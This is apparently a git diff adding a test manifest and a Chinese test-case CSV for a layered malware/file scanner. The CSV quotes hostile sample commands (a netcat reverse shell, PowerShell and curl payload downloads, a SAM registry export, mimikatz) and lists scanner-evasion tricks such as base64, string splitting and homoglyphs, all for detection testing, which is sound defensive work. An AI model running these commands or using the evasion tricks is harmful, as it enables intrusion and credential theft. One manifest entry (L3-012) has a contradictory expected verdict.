"case_id": "L1-005", + "category": "L1", + "expected_verdict": "pass", + "expected_rules": [], + "description": "修改 1 字节 EICAR,ClamAV 不应命中" + }, + { + "filename": "L0-001_jpg_normal.jpg", + "case_id": "L1-006", + "category": "L1", + "expected_verdict": "pass", + "expected_rules": [], + "description": "干净jpg图片(对照负样本)" + }, + { + "filename": "L0-003_docx_normal.docx", + "case_id": "L1-007", + "category": "L1", + "expected_verdict": "pass", + "expected_rules": [], + "description": "干净docx文档(对照负样本)" + }, + { + "filename": "L0-005_pe_clean.exe", + "case_id": "L1-008", + "category": "L1", + "expected_verdict": "pass", + "expected_rules": [], + "description": "干净hello PE(对照负样本)" + }, + { + "filename": "L1-011_eicar_in_3layer.zip", + "case_id": "L1-011", + "category": "L1", + "expected_verdict": "reject", + "expected_rules": [ + "ClamAV:EICAR" + ], + "description": "EICAR放在多层嵌套zip" + }, + { + "filename": "L1-012_eicar_base64.txt", + "case_id": "L1-012", + "category": "L1", + "expected_verdict": "pass", + "expected_rules": [], + "description": "base64 编码 EICAR,ClamAV 不解码" + }, + { + "filename": "L3-001_001_sample.ps1", + "case_id": "L3-001", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadPowerShell" + ], + "description": "PS1明文:Invoke-WebRequest下载" + }, + { + "filename": "L3-002_002_sample.ps1", + "case_id": "L3-002", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "ReverseShellNetcat" + ], + "description": "PS1明文:反弹shell nc" + }, + { + "filename": "L3-003_003_sample.bat", + "case_id": "L3-003", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadUnix" + ], + "description": "bat明文:curl下载payload" + }, + { + "filename": "L3-004_004_sample.txt", + "case_id": "L3-004", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "CredentialStealer" + ], + "description": "文本包含mimikatz关键字" + }, + { + "filename": "L3-005_005_sample.txt", + "case_id": "L3-005", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "CredentialExport" + ], + "description": "文本包含reg save导出注册表" + }, + { + "filename": "L3-006_006_sample.txt", + "case_id": "L3-006", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteSessionHijack" + ], + "description": "文本包含rdp、tscon劫持关键字" + }, + { + "filename": "L3-007_007_sample.txt", + "case_id": "L3-007", + "category": "L3", + "expected_verdict": "pass", + "expected_rules": [], + "description": "高危串base64编码放在txt" + }, + { + "filename": "L3-008_008_sample.ps1", + "case_id": "L3-008", + "category": "L3", + "expected_verdict": "pass", + "expected_rules": [], + "description": "Powershell字符串拆分拼接绕过" + }, + { + "filename": "L3-010_010_sample.ps1", + "case_id": "L3-010", + "category": "L3", + "expected_verdict": "pass", + "expected_rules": [], + "description": "高危串插入注释分割(powershell #注释)" + }, + { + "filename": "L3-011_011_sample.js", + "case_id": "L3-011", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadUnix" + ], + "description": "高危串放js脚本内" + }, + { + "filename": "L3-012_012_sample.bat", + "case_id": "L3-012", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "pass(内网白名单对照)" + ], + "description": "正常内网运维curl(白名单对照)" + }, + { + "filename": "L3-016_016_sample.ps1", + "case_id": "L3-016", + "category": "L3", + "expected_verdict": "pass", + "expected_rules": [], + "description": "空脚本文件(负样本)" + }, + { + "filename": "L3-017_017_sample.txt", + "case_id": "L3-017", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "ReverseShellNetcat", + "CredentialStealer" + ], + "description": "多条高危特征同文件复合" + }, + { + "filename": "L3-018_018_sample.txt", + "case_id": "L3-018", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadPowerShell" + ], + "description": "高危字符串大小写混写" + }, + { + "filename": "L3-021_021_sample.eml", + "case_id": "L3-021", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadPowerShell" + ], + "description": "高危字符串放在eml邮件正文" + }, + { + "filename": "L3-024_024_sample.txt", + "case_id": "L3-024", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadPowerShell" + ], + "description": "超长单行文本(10万字符)包含高危串" + }, + { + "filename": "L3-014_l3001_in_zip.zip", + "case_id": "L3-014", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadPowerShell" + ], + "description": "高危字符串放在zip内部txt" + }, + { + "filename": "L3-015_keyword_in_docx.docx", + "case_id": "L3-015", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "RemoteDownloadPowerShell" + ], + "description": "高危字符串放在docx文本正文" + }, + { + "filename": "L3-019_unicode_obfuscated.txt", + "case_id": "L3-019", + "category": "L3", + "expected_verdict": "pass", + "expected_rules": [], + "description": "同形字混淆,L3 默认不命中" + }, + { + "filename": "L3-020_log_with_keyword.log", + "case_id": "L3-020", + "category": "L3", + "expected_verdict": "reject", + "expected_rules": [ + "ReverseShellNetcat" + ], + "description": "日志文件混杂正常日志+高危串" + }, + { + "filename": "L3-023_keyword_in_encrypted.zip", + "case_id": "L3-023", + "category": "L3", + "expected_verdict": "review", + "expected_rules": [], + "description": "加密 zip 内容无法扫描(标记)" + }, + { + "filename": "L4-001_001_sample.txt", + "case_id": "L4-001", + "category": "L4", + "expected_verdict": "reject", + "expected_rules": [], + "description": "YARA正向命中占位(需对应规则)" + }, + { + "filename": "L4-002_002_sample.txt", + "case_id": "L4-002", + "category": "L4", + "expected_verdict": "pass", + "expected_rules": [], + "description": "干净对照" + }, + { + "filename": "L4-005_005_sample.txt", + "case_id": "L4-005", + "category": "L4", + "expected_verdict": "unknown", + "expected_rules": [], + "description": "热加载测试占位" + }, + { + "filename": "L4-008_in_zip.zip", + "case_id": "L4-008", + "category": "L4", + "expected_verdict": null, + "expected_rules": [], + "description": "压缩包内文件匹配YARA规则" + }, + { + "filename": "L4-010_010_sample.txt", + "case_id": "L4-010", + "category": "L4", + "expected_verdict": "unknown", + "expected_rules": [], + "description": "正则 YARA 测试占位" + }, + { + "filename": "L5-001_clean_hello.exe", + "case_id": "L5-001", + "category": "L5", + "expected_verdict": "pass", + "expected_rules": [], + "description": "原生干净HelloWorld PE(无壳)" + }, + { + "filename": "L5-002_upx_shell.exe", + "case_id": "L5-002", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "UPXPackerDetected", + "HighEntropySection" + ], + "description": "UPX0/UPX1 节名" + }, + { + "filename": "L5-003_double_upx.exe", + "case_id": "L5-003", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "UPXPackerDetected" + ], + "description": "UPX加壳PE,二次压缩" + }, + { + "filename": "L5-004_rwx_section.exe", + "case_id": "L5-004", + "category": "L5", + "expected_verdict": "reject", + "expected_rules": [ + "RWXSectionDetected" + ], + "description": "节属性 RWX" + }, + { + "filename": "L5-007_garbage_section.exe", + "case_id": "L5-007", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "AbnormalSectionName" + ], + "description": "节名乱码" + }, + { + "filename": "L5-010_bad_mz.exe", + "case_id": "L5-010", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "PeParseFailed" + ], + "description": "PE 头非法" + }, + { + "filename": "L5-011_truncated.exe", + "case_id": "L5-011", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "PeParseFailed" + ], + "description": "截断 PE" + }, + { + "filename": "L5-012_pe32.exe", + "case_id": "L5-012", + "category": "L5", + "expected_verdict": "pass", + "expected_rules": [ + "PEArchInfo" + ], + "description": "32 位识别" + }, + { + "filename": "L5-013_pe64.exe", + "case_id": "L5-013", + "category": "L5", + "expected_verdict": "pass", + "expected_rules": [ + "PEArchInfo" + ], + "description": "64 位识别占位" + }, + { + "filename": "L5-014_clean_tool.exe", + "case_id": "L5-014", + "category": "L5", + "expected_verdict": "pass", + "expected_rules": [], + "description": "PE导入表大量系统API(正常工具)" + }, + { + "filename": "L5-016_zero_section.exe", + "case_id": "L5-016", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [], + "description": "零节 PE 占位" + }, + { + "filename": "L5-017_upx_rwx.exe", + "case_id": "L5-017", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "UPXPackerDetected", + "RWXSectionDetected" + ], + "description": "UPX壳 + RWX节复合特征" + }, + { + "filename": "L5-018_debug_info.exe", + "case_id": "L5-018", + "category": "L5", + "expected_verdict": "review", + "expected_rules": [ + "DebugInformationPresent" + ], + "description": "调试信息占位" + }, + { + "filename": "NEG-001_clean.jpg", + "case_id": "NEG-001", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务标准JPG图片" + }, + { + "filename": "NEG-002_clean.png", + "case_id": "NEG-002", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务PNG图片" + }, + { + "filename": "NEG-003_clean.mp4", + "case_id": "NEG-003", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务MP4视频" + }, + { + "filename": "NEG-004_clean.docx", + "case_id": "NEG-004", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务正常docx报表" + }, + { + "filename": "NEG-005_clean.xlsx", + "case_id": "NEG-005", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务正常xlsx表格" + }, + { + "filename": "NEG-006_clean.pdf", + "case_id": "NEG-006", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务正常PDF报告" + }, + { + "filename": "NEG-007_clean.java", + "case_id": "NEG-007", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务源码java文件" + }, + { + "filename": "NEG-008_clean.py", + "case_id": "NEG-008", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "业务源码python脚本" + }, + { + "filename": "NEG-009_clean.zip", + "case_id": "NEG-009", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常业务压缩包zip" + }, + { + "filename": "NEG-010_clean.exe", + "case_id": "NEG-010", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常业务安装包(干净开源)" + }, + { + "filename": "NEG-011_clean.log", + "case_id": "NEG-011", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常日志文件" + }, + { + "filename": "NEG-012_clean.csv", + "case_id": "NEG-012", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常csv业务数据文件" + }, + { + "filename": "NEG-013_clean.eml", + "case_id": "NEG-013", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常eml业务邮件(无附件、无外联恶意)" + }, + { + "filename": "NEG-014_clean.dll", + "case_id": "NEG-014", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常dll(系统干净dll)" + }, + { + "filename": "NEG-015_clean.ttf", + "case_id": "NEG-015", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常字体文件ttf" + }, + { + "filename": "NEG-016_clean.dwg", + "case_id": "NEG-016", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常CAD图纸" + }, + { + "filename": "NEG-017_4layer_nested.zip", + "case_id": "NEG-017", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "多层嵌套干净zip(无风险)" + }, + { + "filename": "NEG-018_clean.bat", + "case_id": "NEG-018", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常bat运维脚本(内网备份)" + }, + { + "filename": "NEG-019_clean.ps1", + "case_id": "NEG-019", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常ps1运维脚本(内网查询)" + }, + { + "filename": "NEG-020_clean.odt", + "case_id": "NEG-020", + "category": "NEG", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常odt文档" } ] } \ No newline at end of file diff --git a/tests/samples/neg_tmp1.zip b/tests/samples/neg_tmp1.zip new file mode 100644 index 0000000000000000000000000000000000000000..15cb0ecb3e219d1701294bfdf0fe3f5cb5d208e7 GIT binary patch literal 22 NcmWIWW@Tf*000g10H*)| literal 0 HcmV?d00001 diff --git a/用例.csv b/用例.csv new file mode 100644 index 0000000..2f27f5d --- /dev/null +++ b/用例.csv @@ -0,0 +1,126 @@ +用例ID,用例名称,测试目标,样本描述,数量,预期结果,来源,归属 +L0-001,正常文件幻数识别-JPG,校验真实文件类型识别能力,标准JPG图片,后缀=真实类型,1,L0命中,识别类型JPG,无风险,自备正常图片,L0 +L0-002,正常文件幻数识别-PNG,校验真实文件类型识别能力,标准PNG图片,后缀=真实类型,1,L0命中,识别类型PNG,无风险,自备正常图片,L0 +L0-003,正常文件幻数识别-DOCX,校验真实文件类型识别能力,标准docx文档,后缀=真实类型,1,L0命中,识别类型DOCX,无风险,Office自制,L0 +L0-004,正常文件幻数识别-PDF,校验真实文件类型识别能力,标准PDF文档,后缀=真实类型,1,L0命中,识别类型PDF,无风险,LibreOffice自制,L0 +L0-005,正常文件幻数识别-干净PE,校验真实文件类型识别能力,HelloWorld编译PE,后缀exe,1,L0命中,识别类型PE,标记危险可执行扩展名,自己编译C程序,L0 +L0-006,后缀伪装:jpg后缀,实际PE幻数,识别后缀欺骗,文件名test.jpg,文件头MZ(PE),1,L0命中,告警【后缀伪装,真实类型PE】,高危,010Editor修改文件头,L0 +L0-007,后缀伪装:txt后缀,实际PDF幻数,识别后缀欺骗,文件名readme.txt,文件头PDF,1,L0命中,告警【后缀伪装,真实类型PDF】,中危,010Editor修改文件头,L0 +L0-008,后缀伪装:png后缀,实际ZIP幻数,识别后缀欺骗,文件名pic.png,文件头504B(ZIP),1,L0命中,告警【后缀伪装,真实类型ZIP】,中危,010Editor修改文件头,L0 +L0-009,双扩展名伪装:report.pdf.exe,识别windows隐藏后缀欺骗,文件名report.pdf.exe,真实PE,1,L0命中,告警【双扩展名伪装,危险可执行后缀】,高危,自制重命名,L0 +L0-010,双扩展名伪装:data.txt.ps1,识别windows隐藏后缀欺骗,文件名data.txt.ps1,纯文本ps1,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0 +L0-011,双扩展名伪装:note.docx.js,识别windows隐藏后缀欺骗,文件名note.docx.js,js文本,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0 +L0-012,双扩展名伪装:log.xlsx.bat,识别windows隐藏后缀欺骗,文件名log.xlsx.bat,bat文本,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0 +L0-013,危险扩展名校验:ps1干净文本,危险扩展名标记,空ps1文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0 +L0-014,危险扩展名校验:bat干净文本,危险扩展名标记,空bat文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0 +L0-015,危险扩展名校验:cmd干净文本,危险扩展名标记,空cmd文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0 +L0-016,危险扩展名校验:vbs干净文本,危险扩展名标记,空vbs文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0 +L0-017,危险扩展名校验:js干净文本,危险扩展名标记,空js文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0 +L0-018,ZIP单级路径穿越:../test.txt,压缩包路径穿越检测,zip内文件名`../test.txt`,内容无害,1,L0命中,告警【压缩包路径穿越】,高危,Python zipfile脚本生成,L0 +L0-019,ZIP多级路径穿越:../../a.txt,压缩包路径穿越检测,zip内文件名`../../a.txt`,内容无害,1,L0命中,告警【压缩包路径穿越】,高危,Python zipfile脚本生成,L0 +L0-020,ZIP炸弹42.zip,zip炸弹识别,标准公开测试42.zip,1,L0命中,告警【zip炸弹,解压膨胀比异常】,高危,公开安全测试样本,L0 +L0-021,自制小型zip炸弹(自定义高膨胀比),zip炸弹识别,自制小体积高膨胀zip,1,L0命中,告警【zip炸弹,解压膨胀比异常】,高危,Python脚本生成,L0 +L0-022,3层无害嵌套ZIP,嵌套压缩解析,zip套zip套zip,内部无风险,1,L0识别多层嵌套,无告警,正常解析,手动打包,L0 +L0-023,5层无害嵌套ZIP,嵌套压缩解析,5层嵌套压缩,内部无风险,1,L0识别多层嵌套,无告警,正常解析,手动打包,L0 +L0-024,密码加密ZIP包,加密压缩识别,zip设置打开密码,内部干净文件,1,L0识别【加密压缩包】,策略可配置放行/告警,低危,压缩软件打包设密码,L0 +L0-025,截断损坏ZIP头,畸形压缩容错,二进制截断zip文件头部,1,L0解析不崩溃,返回【压缩包损坏】,不阻断服务,010Editor截断二进制,L0 +L0-026,损坏ZIP目录项,畸形压缩容错,zip目录项篡改,其余正常,1,L0解析不崩溃,返回【压缩包损坏】,不阻断服务,010Editor篡改二进制,L0 +L0-027,超大文件名(255字符)压缩包内文件,文件名边界校验,压缩包内文件名超长,1,L0正常解析,可按策略告警超长文件名,Python脚本生成,L0 +L0-028,unicode特殊字符文件名压缩包,文件名编码容错,压缩包内文件名带中文、emoji、特殊unicode,1,L0正常解析文件名,不崩溃,Python脚本生成,L0 +L0-029,空文件(0字节)后缀exe,0字节文件识别,0字节,后缀exe,1,L0识别真实类型未知,标记危险后缀,低危,新建0字节文件,L0 +L0-030,多层嵌套+路径穿越组合压缩包,复合风险检测,嵌套zip内部包含../穿越文件名,1,L0命中,告警【压缩包路径穿越】,高危,Python脚本生成,L0 +L1-001,EICAR标准测试串文本,基础签名命中,标准EICAR测试文件(行业无害测试串),1,L1命中,ClamAV识别EICAR测试病毒,高危,ClamAV官方clamav-testfiles,L1 +L1-002,EICAR放入zip压缩包,压缩内EICAR递归扫描,zip打包EICAR文件,1,L1递归解析,命中EICAR,高危,自制打包EICAR,L1 +L1-003,EICAR放入密码zip(加密),加密包内EICAR无法扫描,加密zip内含EICAR,1,L1无法解析加密内容,不命中,L0标记加密包,自制打包加密EICAR,L1 +L1-004,EICAR放入docx内嵌(OLE),文档内嵌EICAR递归扫描,docx OLE内嵌EICAR文本,1,L2解析OLE,L1命中EICAR,高危,Office自制嵌入,L1+L2 +L1-005,修改1字节EICAR,破坏签名,签名匹配校验,EICAR串改动一个字符,破坏特征,1,L1不命中,无告警,手动修改EICAR文本,L1 +L1-006,干净jpg图片(对照负样本),干净样本不误报,正常jpg图片,1,L1无命中,无风险,自备正常图片,L1 +L1-007,干净docx文档(对照负样本),干净样本不误报,正常空白docx,1,L1无命中,无风险,Office自制,L1 +L1-008,干净hello PE(对照负样本),干净样本不误报,无特征HelloWorld PE,1,L1无命中,无风险,自己编译,L1 +L1-009,离线病毒库热加载-正常库,离线库更新能力,标准正常cvd/ndb病毒库文件,替换后扫描EICAR,1,热加载成功,扫描EICAR正常命中,ClamAV官方库文件,L1 +L1-010,离线病毒库-损坏库文件,引擎容错降级,损坏的病毒库文件,启动扫描服务,1,引擎日志告警库损坏,引擎优雅降级,不崩溃,可配置策略放行/阻断,手动篡改库文件,L1 +L1-011,EICAR放在多层嵌套zip,多层嵌套递归扫描,三层zip嵌套,最内层EICAR,1,L1递归扫描命中EICAR,高危,自制打包,L1 +L1-012,EICAR base64编码文本,编码后EICAR特征,EICAR串base64编码放在txt,1,L1默认不命中(ClamAV不解码base64),记录边界,base64编码工具生成,L1 +L1-013,超大文件内含EICAR,大文件扫描性能,100MB文本,末尾追加EICAR串,1,L1命中EICAR,统计扫描耗时,自制大文本,L1 +L1-014,并发多EICAR样本压测,并发下引擎稳定性,同时提交10个EICAR文件,1,全部正常命中,无引擎卡死、内存泄漏,复制EICAR文件,L1 +L1-015,ClamAV引擎关闭开关验证,分层开关控制,关闭L1,提交EICAR,1,L1不参与扫描,不命中,其余层级正常工作,复用EICAR样本,L1 +L3-001,PS1明文:Invoke-WebRequest下载,明文高危串命中,ps1文本:`Invoke-WebRequest https://xxx -o payload.exe`,1,L3命中,告警【远程下载执行特征】,高危,手写文本,L3 +L3-002,PS1明文:反弹shell nc,明文高危串命中,ps1文本:`nc 1.2.3.4 4444 -e cmd.exe`,1,L3命中,告警【反弹Shell特征】,高危,手写文本,L3 +L3-003,bat明文:curl下载payload,明文高危串命中,bat文本:`curl http://xxx/payload -o evil.exe`,1,L3命中,告警【远程下载执行特征】,高危,手写文本,L3 +L3-004,文本包含mimikatz关键字,凭据窃取特征命中,txt文本写入mimikatz,1,L3命中,告警【凭据窃取工具关键字】,高危,手写文本,L3 +L3-005,文本包含reg save导出注册表,凭据导出特征命中,txt:`reg save HKLM\SAM sam.save`,1,L3命中,告警【凭据导出特征】,高危,手写文本,L3 +L3-006,文本包含rdp、tscon劫持关键字,远程会话劫持特征,txt写入tscon、rdp相关关键字,1,L3命中,告警【远程会话劫持特征】,中危,手写文本,L3 +L3-007,高危串base64编码放在txt,编码绕过测试,将Invoke-WebRequest整串base64编码,1,L3默认不命中(无解码逻辑),记录边界,base64工具编码,L3 +L3-008,Powershell字符串拆分拼接绕过,字符串拆分绕过测试,`$a="Invo";$b="ke-WebRequest"`,1,L3默认不命中,记录绕过边界,手写ps1,L3 +L3-009,高危串插入大量换行分割,换行分割绕过,`Invoke-Web`\n`Request`,1,L3根据是否开启多行匹配判定,记录结果,手写文本,L3 +L3-010,高危串插入注释分割(powershell #注释),注释混淆绕过,`Invoke#test-WebRequest`,1,L3根据规则是否支持注释过滤判定,记录结果,手写ps1,L3 +L3-011,高危串放js脚本内,多脚本类型匹配,js文本写入wget下载字符串,1,L3命中,告警远程下载特征,手写js,L3 +L3-012,正常内网运维curl(白名单对照),正常业务不误报,bat:`curl http://192.168.1.100/file.zip`(内网示例地址),1,L3不命中,白名单放行,无告警,手写文本,L3 +L3-013,正常scp内网传输脚本(负样本),合法运维命令不误报,bash脚本内网scp传输文件,1,L3不命中,无告警,手写文本,L3 +L3-014,高危字符串放在zip内部txt,压缩包内文本递归匹配,zip打包包含L3-001的ps1,1,L3递归解析,命中告警,自制打包,L3 +L3-015,高危字符串放在docx文本正文,文档文本匹配,docx正文写入Invoke-WebRequest,1,L3解析文档文本,命中告警,Office自制文档,L3 +L3-016,空脚本文件(负样本),空文件不误报,空白ps1文本,1,L3无命中,无风险,新建文件,L3 +L3-017,多条高危特征同文件复合,多特征同时命中,txt同时包含nc反弹+mimikatz,1,L3命中两条规则,输出全部命中项,手写文本,L3 +L3-018,高危字符串大小写混写,大小写匹配策略,`iNvOkE-WebReQuEsT`,1,按配置(是否忽略大小写)判定命中与否,记录策略,手写文本,L3 +L3-019,unicode同形字混淆高危串,同形字绕过测试,使用视觉相似unicode字符替换字母,1,L3默认不命中,记录绕过边界,unicode混淆工具生成,L3 +L3-020,日志文件混杂正常日志+高危串,日志文件扫描,日志文本,正常日志中间插入反弹shell字符串,1,L3命中高危串告警,手写日志,L3 +L3-021,高危字符串放在eml邮件正文,邮件文本匹配,eml正文写入下载命令,1,L3解析邮件正文,命中告警,Thunderbird自制eml,L3 +L3-022,关闭L3层,提交带高危串ps1,分层开关控制,关闭L3,提交L3-001样本,1,L3不扫描,无关键词告警,其余层级正常工作,复用L3-001,L3 +L3-023,高危字符串放在密码加密zip,加密包无法读取文本,加密zip内含带高危串txt,1,L3无法解析加密内容,不命中,自制加密zip,L3 +L3-024,超长单行文本(10万字符)包含高危串,长文本解析稳定性,单行超长文本嵌入高危关键字,1,L3正常匹配命中,不卡死OOM,脚本生成长文本,L3 +L3-025,关键词白名单规则测试,白名单优先级,命中高危串,同时匹配白名单规则,1,L3不告警,白名单优先,手写文本+配置白名单,L3 +L4-001,YARA单规则正向命中,基础规则匹配,txt包含`Invoke-WebRequest`,1,L4命中test_reverse规则,告警YARA匹配,中危,手写文本,配套测试YARA,L4 +L4-002,YARA负样本,不匹配规则,干净样本不误报,空白txt,无匹配字符串,1,L4无命中,无风险,新建文本,L4 +L4-003,PE文件内包含匹配字符串,二进制内字符串匹配,hello PE,硬编码写入Invoke-WebRequest字符串,1,L4命中YARA规则,中危,自己修改编译源码,L4 +L4-004,同一个文件同时命中2条YARA规则,多规则同时命中,文件同时匹配规则A、规则B,1,L4返回两条命中规则,全部输出,自制样本+两条测试YARA,L4 +L4-005,YARA规则热加载:新增规则后命中,规则热更新能力,新增一条YARA规则,提交对应样本,1,热加载成功,样本正常命中新规则,手写YARA+样本,L4 +L4-006,YARA语法错误规则导入,规则容错,不崩溃,一条语法写错的YARA规则加入规则集,1,系统日志告警规则语法错误,跳过坏规则,其余规则正常扫描,手写错误YARA,L4 +L4-007,YARA规则设置metadata标签,元数据输出校验,带meta描述的YARA规则,命中样本,1,命中时同步输出meta家族、描述信息,手写带meta的YARA,L4 +L4-008,压缩包内文件匹配YARA规则,递归扫描zip内文件,zip打包L4-001样本,1,L4递归解析,命中YARA规则,自制打包,L4 +L4-009,加密zip内样本,YARA无法扫描,加密包跳过,加密zip内含匹配YARA的文件,1,L4无法解析加密内容,不命中,自制加密zip,L4 +L4-010,YARA 字符串正则匹配测试,正则型YARA规则,YARA正则匹配shell特征串,配套样本,1,匹配成功则命中,手写正则YARA+样本,L4 +L4-011,YARA 计数条件规则测试(count > 3),条件逻辑校验,文件内出现4次匹配字符串,1,L4命中规则,手写YARA+样本,L4 +L4-012,YARA 大小条件规则测试(文件大小),文件大小条件,规则限定文件size,配套符合/不符合样本,1,符合size条件命中,不符合不命中,手写YARA+样本,L4 +L4-013,超大文件YARA扫描性能,大文件扫描稳定性,100MB文本,包含匹配串,1,L4正常命中,统计耗时,脚本生成大文本,L4 +L4-014,关闭L4开关,提交YARA命中样本,分层开关控制,关闭L4层,提交L4-001样本,1,L4不参与扫描,无YARA告警,其余层级正常工作,复用L4-001样本,L4 +L4-015,YARA规则白名单哈希,哈希白名单优先,样本命中YARA,但md5在白名单,1,L4不告警,白名单生效,复用L4-001+配置白名单,L4 +L5-001,原生干净HelloWorld PE(无壳),干净PE不误报,C编译hello,无壳、无异常导入、节属性正常,1,L5无命中,无风险,gcc编译,L5 +L5-002,同一HelloWorld UPX加壳,UPX壳识别,上面hello,upx -9加壳,1,L5命中,告警【PE被UPX加壳】,中危,upx工具加壳,L5 +L5-003,UPX加壳PE,二次压缩,多层壳识别,UPX壳后再次打包UPX,1,L5识别UPX壳,中危,upx多次压缩,L5 +L5-004,PE存在RWX可写可执行节,可疑节属性识别,hello PE,修改节属性为RWX,代码无害,1,L5命中,告警【PE存在RWX可执行节】,高危,PE-Bear修改节头,L5 +L5-005,PE导入表:VirtualAlloc + WriteProcessMemory + CreateRemoteThread(不调用),可疑导入组合识别,程序引入这三个API,但是代码完全不调用,1,L5命中,告警【存在远程注入可疑导入组合】,高危,C源码引入API,不调用,编译,L5 +L5-006,PE导入单个VirtualAlloc,无其他注入API,单一可疑API,仅导入VirtualAlloc,1,L5命中,告警【包含可疑内存API】,低危,C源码编译,L5 +L5-007,PE节名异常(随机乱码节名),异常节名识别,修改节名称为乱码字符串,1,L5命中,告警【PE节名称异常】,低危,PE-Bear修改,L5 +L5-008,PE导出表异常(大量导出函数),导出表异常识别,生成大量导出函数的无害PE,1,L5命中,告警【导出表数量异常】,低危,编译设置导出,L5 +L5-009,PE资源段内嵌文本字符串,资源段解析,资源段放入shell字符串,1,L5识别资源段,可联动L3/L4匹配,修改源码编译,L5 +L5-010,畸形PE:PE签名0x5A4D错误,PE头校验,修改MZ签名为其他值,1,L5识别畸形PE,告警【PE头非法】,不崩溃,010Editor修改,L5 +L5-011,截断PE:节表不完整,截断PE容错,PE二进制截断,节表缺失,1,L5解析不崩溃,返回畸形PE告警,010Editor截断,L5 +L5-012,32位正常PE对照,32/64位识别,32位hello PE,1,L5识别32位PE,无异常告警,gcc -m32编译,L5 +L5-013,64位正常PE对照,32/64位识别,64位hello PE,1,L5识别64位PE,无异常告警,gcc -m64编译,L5 +L5-014,PE导入表大量系统API(正常工具),正常工具不误报,正常开源小工具(如md5sum)PE,1,L5无命中,无风险,编译开源代码,L5 +L5-015,PE重定位表损坏,重定位表容错,篡改重定位表数据,1,L5识别畸形PE,告警,服务不崩溃,PE-Bear修改,L5 +L5-016,零节PE(无节表),极端畸形PE,构造无节表的最小PE,1,L5识别畸形PE,告警,PE工具构造,L5 +L5-017,UPX壳 + RWX节复合特征,多特征复合命中,UPX壳同时RWX节,1,L5同时命中两条告警,全部输出,PE-Bear修改UPX样本,L5 +L5-018,PE内嵌debug调试信息,调试信息识别,带pdb调试信息的PE,1,L5识别包含调试信息,低危告警(策略可配置),编译加-g调试符号,L5 +L5-019,超大PE(200MB)静态解析性能,大PE解析稳定性,200MB无害PE,1,L5正常解析,统计扫描耗时,不OOM,脚本生成大PE,L5 +L5-020,关闭L5开关,提交RWX节PE,分层开关控制,关闭L5层,提交L5-004样本,1,L5不扫描,无二进制告警,其余层级正常工作,复用L5-004样本,L5 +NEG-001,业务标准JPG图片,图片不误报,业务实拍jpg,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-002,业务PNG图片,图片不误报,业务png截图,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-003,业务MP4视频,视频不误报,业务短视频mp4,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-004,业务正常docx报表,办公文档不误报,业务报表docx,无宏无OLE,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-005,业务正常xlsx表格,办公文档不误报,业务xlsx,无宏,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-006,业务正常PDF报告,PDF不误报,业务PDF,无JS无动作,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-007,业务源码java文件,源代码不误报,正常java源码,1,所有层级无命中,无风险,业务收集干净样本,全层 +NEG-008,业务源码python脚本,良性脚本不误报,业务正常python脚本,内网逻辑,1,所有层级无命中,无风险,业务收集干净样本,全层 